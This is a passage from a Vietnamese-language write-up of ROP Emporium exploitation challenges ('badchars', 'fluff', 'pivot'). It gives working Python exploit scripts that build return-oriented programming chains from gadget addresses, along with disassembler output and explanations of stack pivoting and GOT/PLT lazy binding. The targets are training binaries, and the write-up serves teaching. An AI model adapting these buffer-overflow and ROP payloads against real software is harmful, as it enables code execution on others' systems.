<span class="n">data_loc_addr</span> <span class="o">=</span> <span class="mh">0x601028</span> <span class="o">+</span> <span class="mi">7</span> <span class="c1"># because 0x601028 + 0x6 = 0x60102e and 0x2e is '.' in badchars</span>
<span class="n">key</span> <span class="o">=</span> <span class="mh">0x50</span>
<span class="n">filename</span> <span class="o">=</span> <span class="s1">'flag.txt'</span>
<span class="n">enc_filename</span> <span class="o">=</span> <span class="s1">''</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">filename</span><span class="p">:</span>
<span class="n">enc_filename</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">^</span> <span class="n">key</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">'B'</span><span class="o">*</span><span class="mi">40</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="mh">0x40069c</span><span class="p">)</span> <span class="c1"># pop r12; pop r13; pop r14; pop r15; ret;</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">enc_filename</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span> <span class="c1"># r12</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">data_loc_addr</span><span class="p">)</span> <span class="c1"># r13</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">key</span><span class="p">)</span> <span class="c1"># r14</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">data_loc_addr</span><span class="p">)</span> <span class="c1"># r15</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="mh">0x400634</span><span class="p">)</span> <span class="c1"># mov qword ptr [r13], r12; ret;</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">8</span><span class="p">):</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="mh">0x400628</span><span class="p">)</span> <span class="c1"># xor byte ptr [r15], r14b; ret;</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="mh">0x4006a2</span><span class="p">)</span> <span class="c1"># pop r15; ret;</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">data_loc_addr</span> <span class="o">+</span> <span class="n">i</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="mh">0x400628</span><span class="p">)</span> <span class="c1"># xor byte ptr [r15], r14b; ret;</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="mh">0x4006a3</span><span class="p">)</span> <span class="c1"># pop rdi; ret;</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">data_loc_addr</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="mh">0x4004ee</span><span class="p">)</span> <span class="c1"># ret;</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="mh">0x400510</span><span class="p">)</span> <span class="c1"># print_file</span>
<span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">buffer</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div>
<h2>Fluff</h2>
<p>Challenge 6 tương tự challenge 4 Write 4 nhưng ta sẽ dùng các gadget mới hơn để xây dựng ROP chain</p>
<p>Tiến hành lấy các gadget cần thiết</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="err">$</span><span class="w"> </span><span class="n">rabin2</span><span class="w"> </span><span class="o">-</span><span class="n">i</span><span class="w"> </span><span class="n">fluff</span><span class="w"></span>
<span class="o">[</span><span class="n">Imports</span><span class="o">]</span><span class="w"></span>
<span class="n">nth</span><span class="w"> </span><span class="n">vaddr</span><span class="w"> </span><span class="n">bind</span><span class="w"> </span><span class="n">type</span><span class="w"> </span><span class="n">lib</span><span class="w"> </span><span class="n">name</span><span class="w"></span>
<span class="err">―――――――――――――――――――――――――――――――――――――</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mi">4</span><span class="w"> </span><span class="mh">0x00400510</span><span class="w"> </span><span class="k">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="n">print_file</span><span class="w"></span>
<span class="err">$</span><span class="w"> </span><span class="n">rabin2</span><span class="w"> </span><span class="o">-</span><span class="n">S</span><span class="w"> </span><span class="n">fluff</span><span class="w"></span>
<span class="o">[</span><span class="n">Sections</span><span class="o">]</span><span class="w"></span>
<span class="n">nth</span><span class="w"> </span><span class="n">paddr</span><span class="w"> </span><span class="k">size</span><span class="w"> </span><span class="n">vaddr</span><span class="w"> </span><span class="n">vsize</span><span class="w"> </span><span class="n">perm</span><span class="w"> </span><span class="n">name</span><span class="w"></span>
<span class="err">―――――――――――――――――――――――――――――――――――――――――――――――――</span><span class="w"></span>
<span class="mi">23</span><span class="w"> </span><span class="mh">0x00001028</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="mh">0x00601028</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="w"> </span><span class="p">.</span><span class="k">data</span><span class="w"></span>
<span class="err">$</span><span class="w"> </span><span class="n">python3</span><span class="w"> </span><span class="n">Ropper</span><span class="p">.</span><span class="n">py</span><span class="w"> </span><span class="o">-</span><span class="n">f</span><span class="w"> </span><span class="n">badchars</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mh">0x000000000040062a</span><span class="err">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdx</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rcx</span><span class="p">;</span><span class="w"> </span><span class="k">add</span><span class="w"> </span><span class="n">rcx</span><span class="p">,</span><span class="w"> </span><span class="mh">0x3ef2</span><span class="p">;</span><span class="w"> </span><span class="n">bextr</span><span class="w"> </span><span class="n">rbx</span><span class="p">,</span><span class="w"> </span><span class="n">rcx</span><span class="p">,</span><span class="w"> </span><span class="n">rdx</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="mh">0x0000000000400639</span><span class="err">:</span><span class="w"> </span><span class="n">stosb</span><span class="w"> </span><span class="n">byte</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">rdi</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">al</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="mh">0x0000000000400628</span><span class="err">:</span><span class="w"> </span><span class="n">xlatb</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="mh">0x00000000004006a3</span><span class="err">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="mh">0x0000000000400295</span><span class="err">:</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<p>Ở đây ta thiếu các gadget như challenge 4 để truyền string “flag.txt” vào .data section.</p>
<p>Ta dùng gadget <code>stosb byte ptr [rdi], al; ret;</code> để truyền giá trị thanh ghi <code>al</code> vào <code>[rdi]</code> với rdi là địa chỉ section .data được control bằng gadget <code>pop rdi; ret;</code>. Lưu ý rdi sẽ tự add 0x1 vào mỗi lần thực thi gadget này</p>
<p>Để control thanh ghi <code>al</code> ta sử dụng gadget <code>xlatb; ret;</code> xlatb sẽ tương đương gán <code>al = rbx + al</code>. Do đó khi control được <code>rbx</code> ta sẽ điều chỉnh được thanh ghi <code>al</code> <a href="https://www.felixcloutier.com/x86/xlat:xlatb">https://www.felixcloutier.com/x86/xlat:xlatb</a></p>
<p>Để control rbx ta sẽ dùng gadget <code>pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;</code>, với instruction <code>bextr rbx, rcx, rdx; ret;</code> sẽ trích xuất các bit liên tục từ start <code>rcx</code> với length <code>rdx</code> (rcx lấy bit từ 0:7, rdx lấy bit từ 8:15)</p>
<p>Ta xây dựng stack như sau</p>
<div class="highlight"><pre><span></span><code><span class="k">[A*8 ]</span><span class="w"></span>
<span class="k">[.....]</span><span class="w"></span>
<span class="na">[A*8 ] -> 40*A</span><span class="w"></span>
<span class="na">[0x4006a3] -> pop rdi; ret;</span><span class="w"></span>
<span class="na">[0x601028] -> -rw- .data -> control rdi cho gadget stosb</span><span class="w"></span>
<span class="na">---> Control al, lấy từng ký tự 'flag.txt'</span><span class="w"></span>
<span class="na">[0x40062a] -> pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;</span><span class="w"></span>
<span class="na">[0x4000] -> rdx -> length bit [8:15]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">0x40 (8 bits = 1 byte)</span><span class="w"></span>
<span class="na">[base + index - 0x3ef2 - current_al] -> base + index là vị trí của từng ký tự 'flag.txt' trong binary, ta phải cộng thêm giá trị hiện tại của al vì xlatb sẽ là al :</span><span class="o">=</span><span class="w"> </span><span class="s">rbx + al và trừ đi 0x3e2f do instruction 'add rcx, 0x3ef2' khi đó al := giá trị tại vị trí của 'flag.txt'</span><span class="w"></span>
<span class="na">[0x400628] -> xlatb; ret;</span><span class="w"></span>
<span class="na">[0x400639] -> stosb byte ptr [rdi], al; ret;</span><span class="w"></span>
<span class="na">----> Sau khi lấy hết ký tự 'flag.txt' vào rdi, ta truyền vào hàm print_file()</span><span class="w"></span>
<span class="na">[0x4006a3] -> pop rdi; ret;</span><span class="w"></span>
<span class="na">[0x400295] -> ret;</span><span class="w"></span>
<span class="na">[0x400510] -> print_file();</span><span class="w"></span>
</code></pre></div>
<p>Exploit code</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">struct</span> <span class="kn">import</span> <span class="n">pack</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">base</span> <span class="o">=</span> <span class="mh">0x400000</span>
<span class="n">length</span> <span class="o">=</span> <span class="mh">0x4000</span> <span class="c1">#length bits, bit from 15:8 is 0x40 -> 64 bit, 8 byte</span>
<span class="n">xlatb</span> <span class="o">=</span> <span class="mh">0x0000000000400628</span> <span class="c1"># xlatb; ret;</span>
<span class="n">bextr</span> <span class="o">=</span> <span class="mh">0x000000000040062a</span> <span class="c1"># pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;</span>
<span class="n">stosb</span> <span class="o">=</span> <span class="mh">0x0000000000400639</span> <span class="c1"># stosb byte ptr [rdi], al; ret;</span>
<span class="n">pop_rdi</span> <span class="o">=</span> <span class="mh">0x00000000004006a3</span> <span class="c1"># pop rdi; ret;</span>
<span class="n">data_section_addrs</span> <span class="o">=</span> <span class="mh">0x00601028</span>
<span class="n">print_file_addrs</span> <span class="o">=</span> <span class="mh">0x00400510</span> <span class="c1"># 4 0x00400510 GLOBAL FUNC print_file</span>
<span class="n">ret</span> <span class="o">=</span> <span class="mh">0x0000000000400295</span> <span class="c1"># ret;</span>
<span class="n">current_rax</span> <span class="o">=</span> <span class="mh">0xb</span>
<span class="k">def</span> <span class="nf">p</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="n">pack</span><span class="p">(</span><span class="s2">"<Q"</span><span class="p">,</span> <span class="n">x</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">find_index</span><span class="p">(</span><span class="n">filename</span><span class="o">=</span><span class="s1">'flag.txt'</span><span class="p">):</span>
<span class="n">indexes</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'fluff'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">buff</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">filename</span><span class="p">:</span>
<span class="n">indexes</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">buff</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">c</span><span class="p">,</span><span class="s1">'ascii'</span><span class="p">)))</span>
<span class="k">return</span> <span class="n">indexes</span>
<span class="n">filename</span> <span class="o">=</span> <span class="s1">'flag.txt'</span>
<span class="n">filename_index</span> <span class="o">=</span> <span class="n">find_index</span><span class="p">(</span><span class="n">filename</span><span class="o">=</span><span class="n">filename</span><span class="p">)</span> <span class="c1"># index of char in binary to create string 'flag.txt'</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s1">'A'</span><span class="o">*</span><span class="mi">40</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">pop_rdi</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">data_section_addrs</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">index</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">filename_index</span><span class="p">):</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">bextr</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">length</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="n">index</span> <span class="o">-</span> <span class="mh">0x3ef2</span> <span class="o">-</span> <span class="n">current_rax</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">xlatb</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">stosb</span><span class="p">)</span>
<span class="n">current_rax</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">filename</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">pop_rdi</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">data_section_addrs</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">ret</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p</span><span class="p">(</span><span class="n">print_file_addrs</span><span class="p">)</span>
<span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">buffer</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div>
<h2>Pivot</h2>
<p>Challenge 7 ta sẽ bị giới hạn số lượng bytes có thể overflow do đó ta cần chuyển hướng rsp - stack pointer đến vị trí khác để có thể thực thi</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium-2/Pivot/image.png"></p>
<p>Ở challenge này tác giả đã khởi tạo 0x10000000 bytes bộ nhớ và cho địa chỉ tại stdout, ta chỉ cần chuyển hướng stack pointer đến địa chỉ này và sử dụng. </p>
<p>Hàm memset sẽ chỉ cho phép 0x20 = 32 bytes trong bộ nhớ nên ta chỉ có thể overflow 32 bytes, vừa đủ để pivot stack.</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium-2/Pivot/1_image.png"></p>
<p>Do giá trị trên sẽ thay đổi ở các lần thực thi (hàm malloc sẽ trả về giá trị khác nhau) và ta sẽ cần lấy giá trị đó để thay đổi giá trị trong payload trước khi truyền nên cần sử dụng thêm thư viện pwntools </p>
<p>Payload 2: Lấy địa chỉ đã cho và chuyển hướng rsp tới đó</p>
<p>Các gadget cần thiết</p>
<div class="highlight"><pre><span></span><code>$ python3 Ropper.py -f pivot
...
0x00000000004009bb: pop rax<span class="p">;</span> ret<span class="p">;</span>
0x00000000004009bd: xchg rax, rsp<span class="p">;</span> ret<span class="p">;</span>
</code></pre></div>
<p>Lấy input từ stdout và build stack</p>
<div class="highlight"><pre><span></span><code><span class="n">line1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">'>'</span><span class="p">)</span><span class="w"></span>
<span class="n">heap_addr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb nb-Type">int</span><span class="p">(</span><span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s1">'pivot: (0x\w+)'</span><span class="p">,</span><span class="w"> </span><span class="n">line1</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">),</span><span class="w"> </span><span class="mi">16</span><span class="p">)</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sa">b</span><span class="s1">'A'</span><span class="o">*</span><span class="mi">40</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x4009bb</span><span class="p">)</span><span class="w"> </span><span class="c1">#0x00000000004009bb: pop rax; ret;</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="n">heap_addr</span><span class="p">)</span><span class="w"></span>
<span class="n">payload2</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">p64</span><span class="p">(</span><span class="mh">0x4009bd</span><span class="p">)</span><span class="w"> </span><span class="c1"># 0x00000000004009bd: xchg rax, rsp; ret;</span><span class="w"></span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload2</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<p>Payload 1: Build ROP chain sẽ thực thi sau khi chuyển hướng</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="n">$</span><span class="w"> </span><span class="n">rabin2</span><span class="w"> </span><span class="o">-</span><span class="n">i</span><span class="w"> </span><span class="n">pivot</span><span class="w"></span>
<span class="p">[</span><span class="n">Imports</span><span class="p">]</span><span class="w"></span>
<span class="n">nth</span><span class="w"> </span><span class="n">vaddr</span><span class="w"> </span><span class="n">bind</span><span class="w"> </span><span class="n">type</span><span class="w"> </span><span class="n">lib</span><span class="w"> </span><span class="n">name</span><span class="w"></span>
<span class="err">―――――――――――――――――――――――――――――――――――――</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mi">2</span><span class="w"> </span><span class="mh">0x004006e0</span><span class="w"> </span><span class="n">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="n">puts</span><span class="w"></span>
<span class="mi">8</span><span class="w"> </span><span class="mh">0x00400720</span><span class="w"> </span><span class="n">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="n">foothold_function</span><span class="w"></span>
<span class="n">$</span><span class="w"> </span><span class="n">rabin2</span><span class="w"> </span><span class="o">-</span><span class="n">S</span><span class="w"> </span><span class="n">pivot</span><span class="w"></span>
<span class="p">[</span><span class="n">Sections</span><span class="p">]</span><span class="w"></span>
<span class="n">nth</span><span class="w"> </span><span class="n">paddr</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="n">vaddr</span><span class="w"> </span><span class="n">vsize</span><span class="w"> </span><span class="n">perm</span><span class="w"> </span><span class="n">name</span><span class="w"></span>
<span class="err">―――――――――――――――――――――――――――――――――――――――――――――――――</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mi">23</span><span class="w"> </span><span class="mh">0x00001028</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="mh">0x00601028</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="w"> </span><span class="p">.</span><span class="n">data</span><span class="w"></span>
<span class="n">$</span><span class="w"> </span><span class="n">rabin2</span><span class="w"> </span><span class="o">-</span><span class="n">is</span><span class="w"> </span><span class="n">libpivot</span><span class="p">.</span><span class="n">so</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="p">[</span><span class="n">Symbols</span><span class="p">]</span><span class="w"></span>
<span class="n">nth</span><span class="w"> </span><span class="n">paddr</span><span class="w"> </span><span class="n">vaddr</span><span class="w"> </span><span class="n">bind</span><span class="w"> </span><span class="n">type</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="n">lib</span><span class="w"> </span><span class="n">name</span><span class="w"></span>
<span class="err">―――――――――――――――――――――――――――――――――――――――――――――――――――――</span><span class="w"></span>
<span class="mi">10</span><span class="w"> </span><span class="mh">0x0000096a</span><span class="w"> </span><span class="mh">0x0000096a</span><span class="w"> </span><span class="n">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="mi">19</span><span class="w"> </span><span class="n">foothold_function</span><span class="w"></span>
<span class="mi">18</span><span class="w"> </span><span class="mh">0x00000a81</span><span class="w"> </span><span class="mh">0x00000a81</span><span class="w"> </span><span class="n">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="mi">146</span><span class="w"> </span><span class="n">ret2win</span><span class="w"></span>
<span class="n">$</span><span class="w"> </span><span class="n">readelf</span><span class="w"> </span><span class="o">-</span><span class="n">r</span><span class="w"> </span><span class="n">pivot</span><span class="w"></span>
<span class="n">Relocation</span><span class="w"> </span><span class="n">section</span><span class="w"> </span><span class="err">'</span><span class="p">.</span><span class="n">rela</span><span class="p">.</span><span class="n">plt</span><span class="err">'</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="n">offset</span><span class="w"> </span><span class="mh">0x5c8</span><span class="w"> </span><span class="n">contains</span><span class="w"> </span><span class="mi">9</span><span class="w"> </span><span class="n">entries</span><span class="o">:</span><span class="w"></span>
<span class="w"> </span><span class="n">Offset</span><span class="w"> </span><span class="n">Info</span><span class="w"> </span><span class="n">Type</span><span class="w"> </span><span class="n">Sym</span><span class="p">.</span><span class="w"> </span><span class="n">Value</span><span class="w"> </span><span class="n">Sym</span><span class="p">.</span><span class="w"> </span><span class="n">Name</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">Addend</span><span class="w"></span>
<span class="w"> </span><span class="p">...</span><span class="w"></span>
<span class="mo">000000601020</span><span class="w"> </span><span class="mo">000200000007</span><span class="w"> </span><span class="n">R_X86_64_JUMP_SLO</span><span class="w"> </span><span class="mo">0000000000000000</span><span class="w"> </span><span class="n">puts</span><span class="p">@</span><span class="n">GLIBC_2</span><span class="mf">.2.5</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">0</span><span class="w"></span>
<span class="mo">000000601040</span><span class="w"> </span><span class="mo">000</span><span class="mi">800000007</span><span class="w"> </span><span class="n">R_X86_64_JUMP_SLO</span><span class="w"> </span><span class="mo">0000000000000000</span><span class="w"> </span><span class="n">foothold_function</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">0</span><span class="w"></span>
<span class="n">$</span><span class="w"> </span><span class="n">radare2</span><span class="w"> </span><span class="n">pivot</span><span class="w"></span>
<span class="p">[</span><span class="mh">0x00400760</span><span class="p">]</span><span class="o">></span><span class="w"> </span><span class="n">aaa</span><span class="w"></span>
<span class="p">[</span><span class="mh">0x00400760</span><span class="p">]</span><span class="o">></span><span class="w"> </span><span class="n">afl</span><span class="w"></span>
<span class="p">[</span><span class="mh">0x00400760</span><span class="p">]</span><span class="o">></span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="n">sym</span><span class="p">.</span><span class="n">imp</span><span class="p">.</span><span class="n">foothold_function</span><span class="w"></span>
<span class="p">[</span><span class="mh">0x00400720</span><span class="p">]</span><span class="o">></span><span class="w"> </span><span class="n">pdf</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00400720</span><span class="w"> </span><span class="n">ff251a092000</span><span class="w"> </span><span class="n">jmp</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="p">[</span><span class="n">reloc</span><span class="p">.</span><span class="n">foothold_function</span><span class="p">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="p">[</span><span class="mh">0x601040</span><span class="o">:</span><span class="mi">8</span><span class="p">]</span><span class="o">=</span><span class="mh">0x400726</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="s">"&</span><span class="se">\a</span><span class="s">@"</span><span class="w"></span>
</code></pre></div>
<p>Hàm ret2win không nằm trong binary mà nằm trong libpivot.so do đó ta cần tìm hiểu về lazy binding, để biết được địa chỉ của ret2win ta cần một hàm trong libpivot.so mà pivot gọi đó là foothold_function.</p>
<p>Khi ta gọi đến foothold_function@plt tại 0x400720 lần đầu tiên, ta sẽ jump tới ptr và ptr này sẽ trỏ tới got.plt section, tại đây địa chỉ sẽ được resolve tới địa chỉ của libpivot.so và cập nhật vào got.plt. Lần gọi thứ 2 ta sẽ jump tới trực tiếp hàm trong libpivot.so mà không cần resolve nữa</p>
<p><a href="https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html">https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html</a></p>
<p>Ví dụ:</p>
<p>Khi ta gọi puts@plt (0x400872)</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium-2/Pivot/2_image.png"></p>
<p>Jump tới got.plt</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium-2/Pivot/3_image.png"></p>
<div class="highlight"><pre><span></span><code>$ readelf -r pivot
Relocation section <span class="s1">'.rela.plt'</span> at offset 0x5c8 contains <span class="m">9</span> entries:
Offset Info Type Sym. Value Sym. Name + Addend
...
<span class="m">000000601020</span> <span class="m">000200000007</span> R_X86_64_JUMP_SLO <span class="m">0000000000000000</span> puts@GLIBC_2.2.5 + <span class="m">0</span>
</code></pre></div>
<p><img alt="" src="https://familug.github.io/images/ropemporium-2/Pivot/12_image.png"></p>
<p>Lookup “put” trong GOT</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium-2/Pivot/5_image.png"></p>
<p>Ta thấy địa chỉ 0x00007ffff7ffe2c0 nằm trong phần data của ld-linux-x86-64.so</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium-2/Pivot/6_image.png"></p>
<p>0x00007ffff7fdd540 nằm trong execution của ld-linux-x86-64.so</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium-2/Pivot/10_image.png"></p>
<p><img alt="" src="https://familug.github.io/images/ropemporium-2/Pivot/8_image.png"></p>
<p>Khi ta call put@plt lần 2, got.plt sẽ trỏ đến put trong ld-linux-x86-64.so</p>
<div class="highlight"><pre><span></span><code>$ readelf -r pivot
Relocation section <span class="s1">'.rela.plt'</span> at offset 0x5c8 contains <span class="m">9</span> entries:
Offset Info Type Sym. Value Sym. Name + Addend
...
<span class="m">000000601020</span> <span class="m">000200000007</span> R_X86_64_JUMP_SLO <span class="m">0000000000000000</span> puts@GLIBC_2.2.5 + <span class="m">0</span>
</code></pre></div>
<p><img alt="" src="https://familug.github.io/images/ropemporium-2/Pivot/11_image.png"></p>
<p>Như vậy để có được địa chỉ của hàm ret2win trong libpivot.so ta cần gọi hàm foothold_function 1 lần, lấy địa chỉ đã resolve của foothold_function trong got.plt và thêm vào offset khoảng cách giữa foothold_function và ret2win là ta sẽ có địa chỉ cần tìm.</p>
<div class="highlight"><pre><span></span><code><span class="n">Stack</span><span class="w"> </span><span class="n">như</span><span class="w"> </span><span class="nl">sau</span><span class="p">:</span><span class="w"></span>
<span class="o">[</span><span class="n">0x400720</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">foothold_function</span><span class="nv">@plt</span><span class="w"></span>
<span class="o">[</span><span class="n">0x4009bb</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rax</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="o">[</span><span class="n">0x601040</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">foothold_function</span><span class="nv">@got</span><span class="p">.</span><span class="n">plt</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">rax</span><span class="p">;</span><span class="w"> </span><span class="n">rax</span><span class="w"> </span><span class="n">lúc</span><span class="w"> </span><span class="n">này</span><span class="w"> </span><span class="n">trỏ</span><span class="w"> </span><span class="n">đến</span><span class="w"> </span><span class="n">địa</span><span class="w"> </span><span class="n">chỉ</span><span class="w"> </span><span class="n">của</span><span class="w"> </span><span class="n">foothold_function</span><span class="w"></span>
